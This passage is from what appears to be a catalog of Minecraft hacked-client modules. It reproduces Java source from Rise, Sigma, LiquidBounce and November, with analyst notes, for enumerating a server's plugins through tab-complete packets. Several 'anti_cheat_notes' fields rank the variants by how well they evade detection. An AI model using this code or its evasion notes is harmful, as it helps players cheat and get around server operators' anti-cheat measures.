      "how_it_works": "Normal mode sends one C14PacketTabComplete(\"/\") on enable and parses the S3A response immediately, splitting each command on ':' and filtering the '/minecraft' namespace; results print to chat as they arrive and the module toggles off. Bypass mode fires 26 requests ('/a' through '/z') and defers the deduped printout to onDisable. Timeouts (5s Normal, 2.5s Bypass) disable the module when the server returns nothing.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/other/Plugins.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.other;\n\nimport dev.rise.Rise;\nimport dev.rise.event.impl.motion.PreMotionEvent;\nimport dev.rise.event.impl.packet.PacketReceiveEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.setting.impl.ModeSetting;\nimport dev.rise.util.math.TimeUtil;\nimport dev.rise.util.player.PacketUtil;\nimport net.minecraft.network.play.client.C14PacketTabComplete;\nimport net.minecraft.network.play.server.S3APacketTabComplete;\n\nimport java.util.ArrayList;\n\n@ModuleInfo(name = \"Plugins\", description = \"Displays what plugins a server has in chat\", category = Category.OTHER)\npublic final class Plugins extends Module {\n\n    private final ModeSetting mode = new ModeSetting(\"Mode\", this, \"Normal\", \"Normal\", \"Bypass\");\n\n    private final ArrayList<String> cachedPlugins = new ArrayList<>();\n    private final TimeUtil timer = new TimeUtil();\n\n    @Override\n    public void onPreMotion(final PreMotionEvent event) {\n        switch (mode.getMode()) {\n            case \"Normal\":\n                if (timer.hasReached(5000L)) {\n                    this.registerNotification(\"Failed to detect any plugins.\");\n                    this.toggleModule();\n                }\n                break;\n\n            case \"Bypass\":\n                if (timer.hasReached(2500L))\n                    this.toggleModule();\n                break;\n        }\n    }\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        if (event.getPacket() instanceof S3APacketTabComplete) {\n            switch (mode.getMode()) {\n                case \"Normal\":\n                    for (final String command : ((S3APacketTabComplete) event.getPacket()).func_149630_c()) {\n                        final String[] pluginCommand = command.split(\":\");\n                        if (pluginCommand.length > 1 && !pluginCommand[0].startsWith(\"/minecraft\")) {\n                            final String plugin = pluginCommand[0].replaceAll(\"/\", \"\");\n\n                            if (!cachedPlugins.contains(\"Plugins:\")) {\n                                Rise.addChatMessage(\"Plugins:\");\n                                cachedPlugins.add(\"Plugins:\");\n                            }\n\n                            if (!cachedPlugins.contains(plugin)) {\n                                cachedPlugins.add(plugin);\n                                Rise.addChatMessage(plugin);\n                            }\n                        }\n                    }\n\n                    if (cachedPlugins.isEmpty())\n                        this.registerNotification(\"No plugins found.\");\n\n                    this.toggleModule();\n                    break;\n\n                case \"Bypass\":\n                    for (final String command : ((S3APacketTabComplete) event.getPacket()).func_149630_c()) {\n                        final String[] pluginCommand = command.split(\":\");\n                        if (pluginCommand.length > 1 && !pluginCommand[0].startsWith(\"/minecraft\")) {\n                            final String plugin = pluginCommand[0].replaceAll(\"/\", \"\");\n\n                            if (!cachedPlugins.contains(plugin))\n                                cachedPlugins.add(plugin);\n                        }\n                    }\n                    break;\n            }\n        }\n    }\n\n    @Override\n    protected void onEnable() {\n        switch (mode.getMode()) {\n            case \"Normal\":\n                PacketUtil.sendPacket(new C14PacketTabComplete(\"/\"));\n                break;\n\n            case \"Bypass\":\n                final String alphabet = \"abcdefghijklmnopqrstuvwxyz\";\n\n                for (int i = 0; i < alphabet.length(); i++)\n                    PacketUtil.sendPacket(new C14PacketTabComplete(\"/\" + alphabet.charAt(i)));\n                break;\n        }\n        cachedPlugins.clear();\n        timer.reset();\n    }\n\n    @Override\n    protected void onDisable() {\n        if (mode.is(\"Bypass\") && !cachedPlugins.isEmpty()) {\n            Rise.addChatMessage(\"Plugins:\");\n\n            for (final String name : cachedPlugins)\n                Rise.addChatMessage(name);\n        }\n    }\n}\n// NOTE (AI): Normal mode sends one C14 for '/' and prints results immediately; Bypass sends 26 requests ('/a' to '/z') and defers the printout to onDisable. The colon split is the Bukkit command convention /plugin:subcommand; '/minecraft' is filtered as the vanilla namespace. The 5s Normal and 2.5s Bypass timeouts toggle the module off when the server returns nothing.\n",
      "code_source": "Rise 5.99, dev/rise/module/impl/other/Plugins.java",
      "vanilla_hook": "PacketReceiveEvent (response), PreMotionEvent (timeout), onEnable (request send).",
      "anti_cheat_notes": "Normal mode is low-risk: one request, one parse. Bypass mode fires 26 C14 packets back to back, a clean rate signal for servers that rate-limit tab completion; the responses themselves are never flagged.",
      "variations": "Sigma 4.11 implements the same idea as the PluginFinder command; Rise 6.x moved the mechanics into the Chat module's autocomplete."
     },
     {
      "name": "Chat",
      "found_in": [
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "Replacement chat screen with custom autocomplete: S3A responses feed the Tab cycling and the module sends C14 requests itself.",
      "how_it_works": "On PacketReceiveEvent, every S3A is stored into a matches list and each match is printed to chat. On the Tab key, if matches is empty the module sends C14PacketTabComplete with the typed text and an optional targeted BlockPos (the looked-at block), then cycles the stored matches on subsequent Tab presses. The dot-prefix guard skips requests for client command input, and the matches list is nulled when the input closes.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/render/chat/Chat.java =====\npackage com.alan.clients.module.impl.render.chat;\n\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.input.GuiKeyBoardEvent;\nimport com.alan.clients.event.impl.input.KeyboardInputEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.render.Render2DEvent;\nimport com.alan.clients.font.Fonts;\nimport com.alan.clients.font.Weight;\nimport com.alan.clients.module.Module;\nimport com.alan.clients.module.api.Category;\nimport com.alan.clients.module.api.ModuleInfo;\nimport com.alan.clients.module.impl.render.Interface;\nimport com.alan.clients.ui.theme.Themes;\nimport com.alan.clients.util.EvictingList;\nimport com.alan.clients.util.MouseUtil;\nimport com.alan.clients.util.animation.Animation;\nimport com.alan.clients.util.animation.Easing;\nimport com.alan.clients.util.chat.ChatUtil;\nimport com.alan.clients.util.font.Font;\nimport com.alan.clients.util.gui.ScrollUtil;\nimport com.alan.clients.util.gui.textbox.TextAlign;\nimport com.alan.clients.util.gui.textbox.TextBox;\nimport com.alan.clients.util.render.ColorUtil;\nimport com.alan.clients.util.render.RenderUtil;\nimport com.alan.clients.util.vector.Vector2d;\nimport com.alan.clients.value.impl.BooleanValue;\nimport com.alan.clients.value.impl.DragValue;\nimport com.alan.clients.value.impl.NumberValue;\nimport lombok.Getter;\nimport net.minecraft.client.gui.ChatLine;\nimport net.minecraft.client.renderer.GlStateManager;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C14PacketTabComplete;\nimport net.minecraft.network.play.server.S3APacketTabComplete;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.EnumChatFormatting;\nimport net.minecraft.util.IChatComponent;\nimport net.minecraft.util.MovingObjectPosition;\nimport net.optifine.gui.GuiChatOF;\nimport org.lwjgl.input.Mouse;\nimport org.lwjgl.opengl.GL11;\nimport rip.vantage.commons.util.time.StopWatch;\n\nimport java.awt.*;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.List;\n\nimport static com.alan.clients.layer.Layers.*;\nimport static com.alan.clients.util.animation.Easing.*;\n\n@Getter\n@ModuleInfo(aliases = {\"module.render.chat.name\"}, description = \"module.render.chat.description\", category = Category.RENDER, autoEnabled = true, allowDisable = false)\npublic final class Chat extends Module {\n    private final NumberValue openHeight = new NumberValue(\"Open Height\", this, 130, 0, 200, 1);\n    private final NumberValue widthChat = new NumberValue(\"Width\", this, 320, 40, 320, 1);\n\n    private final NumberValue closedHeight = new NumberValue(\"Max Closed Height\", this, 130, 0, 500, 1);\n    private final NumberValue disappear = new NumberValue(\"Message disappearance speed\", this, 5000, 0, 5000, 1);\n    private final BooleanValue background = new BooleanValue(\"Background\", this, true);\n    private final BooleanValue hidePlayers = new BooleanValue(\"Hide Player Source Messages\", this, false);\n\n    private final DragValue structure = new DragValue(\"\", this, new Vector2d(200, 200), false, true);\n    private final Animation animation = new Animation(Easing.EASE_OUT_EXPO, 500);\n    private final Animation inputAnimation = new Animation(Easing.EASE_OUT_ELASTIC, 400);\n    private final Animation inputOpacity = new Animation(LINEAR, 400);\n    private final Animation scaleAnimation = new Animation(EASE_OUT_EXPO, 500);\n    private final ScrollUtil scroll = new ScrollUtil();\n\n    private final Font chatFont = mc.fontRendererObj;\n    private final Font inputFont = mc.fontRendererObj;\n\n    private TextBox textField = new TextBox(new Vector2d(0, 0), inputFont, Color.WHITE, TextAlign.LEFT, \"\", 1000f, \"abcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()-_+=[{]};:.>,</?|  ' \\\" ` ~\");\n    private int lineCount, recentLineCount;\n    private float lineHeight;\n    public boolean clicked, open;\n    private StopWatch stopWatch = new StopWatch();\n    private EvictingList<String> recentMessages = new EvictingList<>(20);\n    private ArrayList<String> matches;\n    private Interface interfaceModule;\n\n    public Chat() {\n        mc.ingameGUI.persistantChatGUI = new RiseGuiNewChat(mc);\n    }\n\n    @EventLink\n    public final Listener<KeyboardInputEvent> onKey = event -> {\n        if (event.getCharacter() == '/' || event.getCharacter() == '.') {\n            textField.setSelected(true);\n            textField.key(event.getCharacter(), event.getKeyCode());\n        }\n    };\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> onPacketReceive = event -> {\n        Packet<?> packet = event.getPacket();\n\n        if (packet instanceof S3APacketTabComplete) {\n            matches = new ArrayList<>(Arrays.asList(((S3APacketTabComplete) packet).getMatches()));\n\n            for (String match : matches) ChatUtil.display(match);\n        }\n    };\n\n    @EventLink\n    public final Listener<GuiKeyBoardEvent> onGuiKey = event -> {\n        switch (event.getKeyCode()) {\n            // Enter\n            case 28:\n                if (textField.getText().isEmpty()) return;\n                mc.thePlayer.sendChatMessage(textField.getText());\n                recentMessages.remove(textField.getText());\n                recentMessages.add(textField.getText());\n                textField.text = \"\";\n                mc.displayGuiScreen(null);\n                break;\n\n            // Down arrow\n            case 200:\n                List<String> recentMessages = new ArrayList<>(this.recentMessages);\n                Collections.reverse(recentMessages);\n                int index = recentMessages.indexOf(textField.text);\n                if (recentMessages.size() > index + 1) {\n                    textField.text = recentMessages.get(index + 1);\n                    textField.cursor = textField.text.length();\n                }\n                break;\n\n            // Up Arrow\n            case 208:\n                List<String> recentMessages2 = new ArrayList<>(this.recentMessages);\n                Collections.reverse(recentMessages2);\n                int indexDown = recentMessages2.indexOf(textField.text);\n                if (indexDown > 0) {\n                    textField.text = recentMessages2.get(indexDown - 1);\n                    textField.cursor = textField.text.length();\n                }\n                break;\n\n            // Tab\n            case 15:\n                if (matches == null) {\n                    String text = getTextField().getText();\n                    if (!text.startsWith(\".\") && !text.isEmpty()) { // !p_146405_1_.startsWith(\".\") added to prevent autocomplete of commands\n                        BlockPos blockpos = null;\n\n                        if (this.mc.objectMouseOver != null && this.mc.objectMouseOver.typeOfHit == MovingObjectPosition.MovingObjectType.BLOCK) {\n                            blockpos = this.mc.objectMouseOver.getBlockPos();\n                        }\n\n                        this.mc.thePlayer.sendQueue.addToSendQueue(new C14PacketTabComplete(text, blockpos));\n                    }\n\n                    matches = new ArrayList<>();\n                } else if (!matches.isEmpty()) {\n                    String[] parts = textField.getText().split(\" \");\n                    int indexof = matches.indexOf(parts[parts.length - 1]);\n\n                    parts[parts.length - 1] = matches.get((matches.size() > indexof + 1) ? indexof + 1 : 0);\n                    textField.text = String.join(\" \", parts);\n\n                    textField.cursor = textField.getText().length();\n                }\n                break;\n        }\n\n        textField.selected = open;\n        textField.key(event.getCharacter(), event.getKeyCode());\n    };\n\n    @EventLink\n    public final Listener<Render2DEvent> onRender2D = event -> {\n        this.renderChat();\n\n        this.renderInput();\n    };\n\n    public void renderChat() {\n        getTheme();\n        if (interfaceModule == null) interfaceModule = getModule(Interface.class);\n        boolean rise = interfaceModule.getInformationType().getValue().getName().equals(\"Rise\");\n\n        open = mc.currentScreen instanceof GuiChatOF;\n        lineHeight = chatFont.height();\n\n        float expandedHeight = Math.min((open ? openHeight : closedHeight).getValue().intValue(), lineHeight * lineCount + (lineCount == 0 ? 0 : 7));\n\n        scaleAnimation.run(Math.min(expandedHeight, (lineHeight * (open ? expandedHeight : recentLineCount)) + (lineHeight * (open ? expandedHeight : recentLineCount) == 0 ? 0 : 7)));\n        structure.scale = new Vector2d(widthChat.getValue().doubleValue(), scaleAnimation.getValue());\n\n        structure.position = new Vector2d(getTheme().getPadding(), mc.scaledResolution.getScaledHeight() - 10 - 20 - structure.scale.y);\n        Vector2d position = new Vector2d(structure.position.x + 5, structure.position.y + structure.scale.y - 1.5);\n        Vector2d startPosition = new Vector2d(position.getX(), position.getY());\n        List<ChatLine> lines = new ArrayList<>(mc.ingameGUI.getChatGUI().drawnChatLines);\n\n        double round = Math.min(structure.scale.y / 5f, 6);\n\n        if (background.getValue()) {\n            if (rise) {\n                getLayer(REGULAR, 1).add(() -> RenderUtil.roundedRectangle(structure.position.x, structure.position.y, structure.scale.x, structure.scale.y, round, Themes.getBackgroundShade()));\n                getLayer(BLOOM).add(() -> RenderUtil.roundedRectangle(structure.position.x + 1, structure.position.y + 1, structure.scale.x - 2, structure.scale.y - 2, round, getTheme().getDropShadow()));\n                getLayer(BLUR).add(() -> RenderUtil.roundedRectangle(structure.position.x, structure.position.y, structure.scale.x, structure.scale.y, round, Color.BLACK));\n            } else {\n                getLayer(REGULAR, 1).add(() -> RenderUtil.rectangle(structure.position.x, structure.position.y, structure.scale.x, structure.scale.y, new Color(0, 0, 0, 130)));\n            }\n        }\n\n        // Chat\n        getLayer(REGULAR, 1).add(() -> {\n            GL11.glEnable(GL11.GL_SCISSOR_TEST);\n            RenderUtil.scissor(structure.position.x, structure.position.y, structure.scale.x, structure.scale.y);\n\n            animation.run(0);\n            position.setY(position.getY() + animation.getValue() - scroll.getScroll());\n            scroll.onRender(open);\n            scroll.setReverse(true);\n            scroll.setMax((-lineHeight * lines.size()) + structure.scale.y - 6);\n\n            if (!open) scroll.setTarget(0);\n\n            if (lines.size() > 150) {\n                List<ChatLine> linesPointer = mc.ingameGUI.getChatGUI().drawnChatLines;\n\n                while (linesPointer.size() > 100) {\n                    linesPointer.remove(linesPointer.getLast());\n                }\n            }\n\n            update:\n            {\n                if (lineCount < lines.size()) {\n                    if (hidePlayers.getValue()) {\n                        mc.ingameGUI.getChatGUI().drawnChatLines.removeIf(line -> line.getChatComponent().getFormattedText().contains(\":\"));\n\n                        if (lineCount >= mc.ingameGUI.getChatGUI().drawnChatLines.size()) {\n                            break update;\n                        }\n                    }\n                    animation.setValue(animation.getValue() + ((lines.size() - lineCount) * lineHeight));\n                    animation.run(animation.getValue());\n                    recentLineCount += lines.size() - lineCount;\n                    recentLineCount = (int) Math.max(Math.min((closedHeight.getValue().intValue() / lineHeight), recentLineCount), 0);\n                }\n            }\n\n            lineCount = lines.size();\n\n            if (stopWatch.finished(disappear.getValue().intValue()) || recentLineCount == 0) {\n                stopWatch.reset();\n                recentLineCount = Math.max(0, recentLineCount - 1);\n            }\n\n            IChatComponent chatComponent2 = null;\n\n            // Rendering chat\n            for (ChatLine chatLine : lines) {\n                position.setX(startPosition.getX());\n                position.setY(position.getY() - lineHeight);\n\n                if (position.y < structure.position.y - lineHeight + (open ? 0 : 6) || position.y > structure.position.y + structure.scale.y) {\n                    continue;\n                }\n\n                for (IChatComponent chatComponent : chatLine.getChatComponent()) {\n                    String text = chatComponent.getUnformattedTextForChat();\n                    EnumChatFormatting color = chatComponent.getChatStyle().getColor() == null ? EnumChatFormatting.RESET : chatComponent.getChatStyle().getColor();\n                    double componentWidth = chatFont.drawWithShadow(color + text, position.getX(), position.getY(), 16777215) - position.x;\n\n                    // Hover & Click\n                    if (open && MouseUtil.isHovered(position.x, position.y, componentWidth, lineHeight)) {\n                        chatComponent2 = chatComponent;\n                    }\n\n                    position.x += componentWidth;\n                }\n            }\n\n            if (chatComponent2 != null) {\n                Vector2d mouse = MouseUtil.mouse();\n                mc.currentScreen.handleComponentHover(chatComponent2, (int) mouse.getX(), (int) mouse.getY());\n                if (!clicked && Mouse.isButtonDown(0)) mc.currentScreen.handleComponentClick(chatComponent2);\n                clicked = Mouse.isButtonDown(0);\n            }\n            // Scrollbar\n            if (background.getValue()) {\n                scroll.renderScrollBar(new Vector2d(structure.position.x + structure.scale.x - 5, structure.position.y + 5), structure.scale.y - 10);\n            }\n\n            // Scissoring\n            GL11.glDisable(GL11.GL_SCISSOR_TEST);\n        });\n    }\n\n    public void renderInput() {\n        getTheme();\n        boolean rise = interfaceModule.getInformationType().getValue().getName().equals(\"Rise\");\n\n        // ChatBox\n        if (rise) {\n            inputAnimation.setDuration(!open ? 300 : 850);\n            inputAnimation.setEasing(!open ? EASE_IN_EXPO : EASE_OUT_ELASTIC);\n        } else {\n            inputAnimation.setDuration(0);\n            inputAnimation.setEasing(!open ? EASE_IN_EXPO : EASE_OUT_ELASTIC);\n        }\n        inputAnimation.run(!open ? 0 : 1);\n        inputOpacity.run(open ? 255 : 0);\n\n        double scale = (inputAnimation.getValue() > 1) ? (1 + (inputAnimation.getValue() - 1) * 0.4) : inputAnimation.getValue();\n\n        textField.setEmptyText(\"\");\n\n        if (inputAnimation.getValue() <= 0) return;\n\n        Vector2d inputPosition = new Vector2d(getTheme().getPadding(), mc.scaledResolution.getScaledHeight() - getTheme().getPadding() - Fonts.MAIN.get(20, Weight.REGULAR).height() - 3);\n        Vector2d inputScale = new Vector2d(structure.scale.x, inputFont.height() + 7.5);\n\n        Runnable glOpen = () -> {\n            GlStateManager.pushMatrix();\n            GlStateManager.translate((inputPosition.x + inputScale.x / 2) * (1 - scale), (inputPosition.y + inputScale.y / 2) * (1 - scale), 0);\n            GlStateManager.scale(scale, scale, 0);\n        };\n\n        if (rise) {\n            getLayer(REGULAR, 1).add(() -> {\n                glOpen.run();\n                RenderUtil.roundedRectangle(inputPosition.x, inputPosition.y, inputScale.x, inputScale.y, 6, ColorUtil.withAlpha(Themes.getBackgroundShade(), Math.min((int) inputOpacity.getValue(), getTheme().getBackgroundShade().getAlpha())));\n\n                GlStateManager.popMatrix();\n            });\n\n            getLayer(BLOOM).add(() -> {\n                glOpen.run();\n                RenderUtil.roundedRectangle(inputPosition.x, inputPosition.y, inputScale.x, inputScale.y, 6.5, getTheme().getDropShadow());\n                GlStateManager.popMatrix();\n            });\n\n            getLayer(BLUR).add(() -> {\n                glOpen.run();\n                RenderUtil.roundedRectangle(inputPosition.x, inputPosition.y, inputScale.x, inputScale.y, 6, Color.BLACK);\n                GlStateManager.popMatrix();\n            });\n        } else {\n            getLayer(REGULAR, 1).add(() -> {\n                glOpen.run();\n                RenderUtil.rectangle(inputPosition.x, inputPosition.y, inputScale.x, inputScale.y, new Color(0, 0, 0, Math.min((int) inputOpacity.getValue(), 130)));\n\n                GlStateManager.popMatrix();\n            });\n        }\n\n        textField.setColor(ColorUtil.withAlpha(Color.WHITE, (int) inputOpacity.getValue()));\n        textField.setFontRenderer(inputFont);\n        textField.setPosition(new Vector2d(getTheme().getPadding() + 5, mc.scaledResolution.getScaledHeight() - inputFont.height() - getTheme().getPadding()));\n\n        getLayer(REGULAR, 1).add(() -> {\n            glOpen.run();\n            textField.draw();\n            GlStateManager.popMatrix();\n\n            if (!open) textField.text = \"\";\n        });\n\n        if (!open) {\n            textField.text = \"\";\n            matches = null;\n        }\n    }\n}\n// NOTE (AI): The chat module reimplements autocomplete: it stores S3A matches on receive, cycles them on Tab, and fires C14 itself with an optional targeted BlockPos. Note the dot-prefix guard: client commands starting with '.' never trigger a C14, matching the vanilla behavior of skipping autocomplete for command-prefixed client input. The matches list is nulled when the input closes.\n",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/render/chat/Chat.java",
      "vanilla_hook": "PacketReceiveEvent (S3A storage), GuiKeyBoardEvent (Tab cycling and C14 send).",
      "anti_cheat_notes": "No anti-cheat surface; the module is a UI replacement. The C14 traffic it generates is identical to vanilla autocomplete traffic.",
      "variations": "Rise 6.1.30 ships the same module under com/alan/clients/module/impl/render/chat with an identical S3A branch."
     },
     {
      "name": "PluginFinder (command)",
      "found_in": [
       "Sigma 4.11"
      ],
      "purpose": "Command-driven plugin enumeration: send one C14 for '/', listen for a single S3A, print the deduped plugin list.",
      "how_it_works": "fire() resets a timer, registers the command object with the event system and sends C14PacketTabComplete(\"/\"). The event handler waits for S3A, splits each command on ':', dedupes plugin names, filters 'minecraft' and 'bukkit', prints the list, unregisters and cancels the event. A 20-second timer self-unregisters if the server never answers.",
      "detailed_code": "// ===== FILE: Sigma 4.11, info/sigmaclient/management/command/impl/PluginFinder.java =====\npackage info.sigmaclient.management.command.impl;\n\nimport info.sigmaclient.event.Event;\nimport info.sigmaclient.event.impl.EventPacket;\nimport info.sigmaclient.util.Timer;\nimport info.sigmaclient.event.EventSystem;\nimport info.sigmaclient.event.RegisterEvent;\nimport info.sigmaclient.management.command.Command;\nimport info.sigmaclient.util.NetUtil;\nimport info.sigmaclient.util.misc.ChatUtil;\nimport net.minecraft.network.play.client.C14PacketTabComplete;\nimport net.minecraft.network.play.server.S3APacketTabComplete;\n\n/**\n * Created by Arithmo on 5/7/2017 at 3:12 PM.\n */\npublic class PluginFinder extends Command {\n\n    public PluginFinder(String[] names, String description) {\n        super(names, description);\n    }\n\n    private Timer timer = new Timer();\n\n    @Override\n    public void fire(String[] args) {\n        try {\n            timer.reset();\n            EventSystem.register(this);\n            NetUtil.sendPacket(new C14PacketTabComplete(\"/\"));\n            ChatUtil.printChat(chatPrefix + \"Listening for a S3APacketTabComplete for 20s!\");\n        } catch (Exception ceankoFucksOff) {\n            ceankoFucksOff.printStackTrace();\n        }\n    }\n\n    @RegisterEvent(events = {EventPacket.class})\n    public void onEvent(Event event) {\n        try {\n            EventPacket ep = (EventPacket) event;\n            if (ep.getPacket() instanceof S3APacketTabComplete) {\n                S3APacketTabComplete packet = (S3APacketTabComplete) ep.getPacket();\n                String[] commands = packet.func_149630_c();\n                String message = \"\";\n                int size = 0;\n\n                for (String command : commands) {\n                    String pluginName = command.split(\":\")[0].substring(1);\n\n                    if (!message.contains(pluginName) && command.contains(\":\") && !pluginName.equalsIgnoreCase(\"minecraft\") && !pluginName.equalsIgnoreCase(\"bukkit\")) {\n                        size++;\n                        if (message.isEmpty()) {\n                            message += pluginName;\n                        } else {\n                            message += \"\\2478, \\247a\" + pluginName;\n                        }\n                    }\n                }\n\n                if (!message.isEmpty()) {\n                    ChatUtil.printChat(chatPrefix + \"\\2477Plugins (\\247f\" + size + \"\\2477): \\247a \" + message + \"\\2477.\");\n                } else {\n                    ChatUtil.printChat(chatPrefix + \"Plugins: none.\");\n                }\n                EventSystem.unregister(this);\n                event.setCancelled(true);\n            }\n\n            if (timer.delay(20000)) {\n                EventSystem.unregister(this);\n                ChatUtil.printChat(chatPrefix + \"Stopped listening for an S3APacketTabComplete! Took to long (20s)!\");\n            }\n        } catch (Exception ceankoFucksOff) {\n            ceankoFucksOff.printStackTrace();\n        }\n    }\n\n    @Override\n    public String getUsage() {\n        return \"pluginfinder\";\n    }\n\n}\n// NOTE (AI): A command rather than a module: it registers itself with the event system for one S3A, prints the deduped plugin list, unregisters and cancels the event. The 20s timer self-unregisters if the server never answers. The dedupe key is the plugin name before the colon, filtering 'minecraft' and 'bukkit'.\n",
      "code_source": "Sigma 4.11, info/sigmaclient/management/command/impl/PluginFinder.java",
      "vanilla_hook": "EventPacket via a self-registered command listener; C14 sent through NetUtil.",
      "anti_cheat_notes": "A single C14 request is indistinguishable from vanilla autocomplete, making the command the stealthiest enumeration variant in the corpus.",
      "variations": "Rise 5.99's Plugins module covers the same ground with Normal and Bypass modes; PluginFinder is the one-shot command form."
     },
     {
      "name": "Plugins (LiquidBounce)",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Enumerate server plugins from a single tab-completion response, print the deduped list and turn the module off.",
      "how_it_works": "onEnable sends one C14PacketTabComplete(\"/\") through mc.getNetHandler().addToSendQueue and resets a TickTimer; onUpdate disables the module with a timeout chat message after 20 ticks if the server never answers. The PacketEvent handler catches S3A, splits every command on ':', strips the leading '/', dedupes into a list, sorts it and prints count plus names via ClientUtils.displayChatMessage, then setState(false).",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/exploit/Plugins.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.features.module.modules.exploit;\n\nimport joptsimple.internal.Strings;\nimport net.ccbluex.liquidbounce.event.EventTarget;\nimport net.ccbluex.liquidbounce.event.PacketEvent;\nimport net.ccbluex.liquidbounce.event.UpdateEvent;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.utils.ClientUtils;\nimport net.ccbluex.liquidbounce.utils.timer.TickTimer;\nimport net.minecraft.network.play.client.C14PacketTabComplete;\nimport net.minecraft.network.play.server.S3APacketTabComplete;\n\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.List;\n\n@ModuleInfo(name = \"Plugins\", description = \"Allows you to see which plugins the server is using.\", category = ModuleCategory.EXPLOIT)\npublic class Plugins extends Module {\n    private final TickTimer tickTimer = new TickTimer();\n\n    @Override\n    public void onEnable() {\n        if(mc.thePlayer == null)\n            return;\n\n        mc.getNetHandler().addToSendQueue(new C14PacketTabComplete(\"/\"));\n        tickTimer.reset();\n    }\n\n    @EventTarget\n    public void onUpdate(UpdateEvent event) {\n        tickTimer.update();\n\n        if(tickTimer.hasTimePassed(20)) {\n            ClientUtils.displayChatMessage(\"§cPlugins check timed out...\");\n            tickTimer.reset();\n            setState(false);\n        }\n    }\n\n    @EventTarget\n    public void onPacket(PacketEvent event) {\n        if(event.getPacket() instanceof S3APacketTabComplete) {\n            final S3APacketTabComplete s3APacketTabComplete = (S3APacketTabComplete) event.getPacket();\n\n            final List<String> plugins = new ArrayList<>();\n            final String[] commands = s3APacketTabComplete.func_149630_c();\n\n            for(final String command1 : commands) {\n                final String[] command = command1.split(\":\");\n\n                if(command.length > 1) {\n                    final String pluginName = command[0].replace(\"/\", \"\");\n\n                    if(!plugins.contains(pluginName))\n                        plugins.add(pluginName);\n                }\n            }\n\n            Collections.sort(plugins);\n\n            if(!plugins.isEmpty())\n                ClientUtils.displayChatMessage(\"§aPlugins §7(§8\" + plugins.size() + \"§7): §c\" + Strings.join(plugins.toArray(new String[0]), \"§7, §c\"));\n            else\n                ClientUtils.displayChatMessage(\"§cNo plugins found.\");\n            setState(false);\n            tickTimer.reset();\n        }\n    }\n}\n\n\n// NOTE (AI): LiquidBounce's Plugins module: one-shot enumeration with a 20-tick timeout. The tick counter is reset on both enable and after a successful parse, and setState(false) is called from inside the packet handler, which is legal here because the module toggles itself off rather than mutating the event. The split on ':' with a length check is the standard Bukkit plugin leak; the sort is the only polish over Rise 5.99's raw print.\n",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/exploit/Plugins.java",
      "vanilla_hook": "PacketEvent (receive side) and UpdateEvent; the request goes through addToSendQueue.",
      "anti_cheat_notes": "One request, one parse, auto-disable: the least aggressive enumeration variant in the corpus. The single C14 is indistinguishable from vanilla autocomplete traffic.",
      "variations": "Same role as Rise 5.99's Plugins and November Recode 2.0's PluginsCommand, but the LiquidBounce module sorts the result and self-disables instead of holding a burst mode or a long listen window."
     },
     {
      "name": "PluginsCommand",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "Command-driven plugin enumeration: dispatch fires one C14 with a custom completion seed and a subscribed packet listener parses the S3A response.",
      "how_it_works": "dispatch builds the seed string ('/' plus joined args, or '/' alone), resets a 10-second timeout timer, sets listening and sends C14PacketTabComplete through mc.thePlayer.sendQueue.addToSendQueue. The EventPacket.In listener returns while listening is false, aborts with a chat message after 10 seconds, then on S3A splits colon-containing suggestions on ':', strips whitespace and the '/' and filters 'minecraft'; non-colon suggestions are matched against a [A-Z0-9]\\\\w+ regex and added when they do not start with '/'. Results print through Printer as a joined, deduped list.",
      "detailed_code": "// ===== FILE: November Recode 2.0, feature/command/impl/PluginsCommand.java =====\n/* November.lol © 2023 */\npackage lol.november.feature.command.impl;\n\nimport java.util.HashSet;\nimport java.util.Set;\nimport java.util.regex.Pattern;\nimport lol.november.November;\nimport lol.november.feature.command.Command;\nimport lol.november.feature.command.Register;\nimport lol.november.listener.bus.Listener;\nimport lol.november.listener.bus.Subscribe;\nimport lol.november.listener.event.net.EventPacket;\nimport lol.november.utility.chat.Printer;\nimport lol.november.utility.math.timer.Timer;\nimport net.minecraft.network.play.client.C14PacketTabComplete;\nimport net.minecraft.network.play.server.S3APacketTabComplete;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\n@Register(\n  aliases = { \"plugins\", \"serverplugins\" },\n  description = \"Allows you to see the plugins a server is using\",\n  syntax = \"<custom command>\"\n)\npublic class PluginsCommand extends Command {\n\n  private static final Pattern PLUGIN_REGEX = Pattern.compile(\"[A-Z0-9]\\\\w+\");\n\n  private final Timer timeoutTimer = new Timer();\n  private boolean listening;\n\n  public PluginsCommand() {\n    November.bus().subscribe(this);\n  }\n\n  @Subscribe\n  private final Listener<EventPacket.In> packetIn = event -> {\n    if (!listening) return;\n\n    if (timeoutTimer.passed(10_000L)) {\n      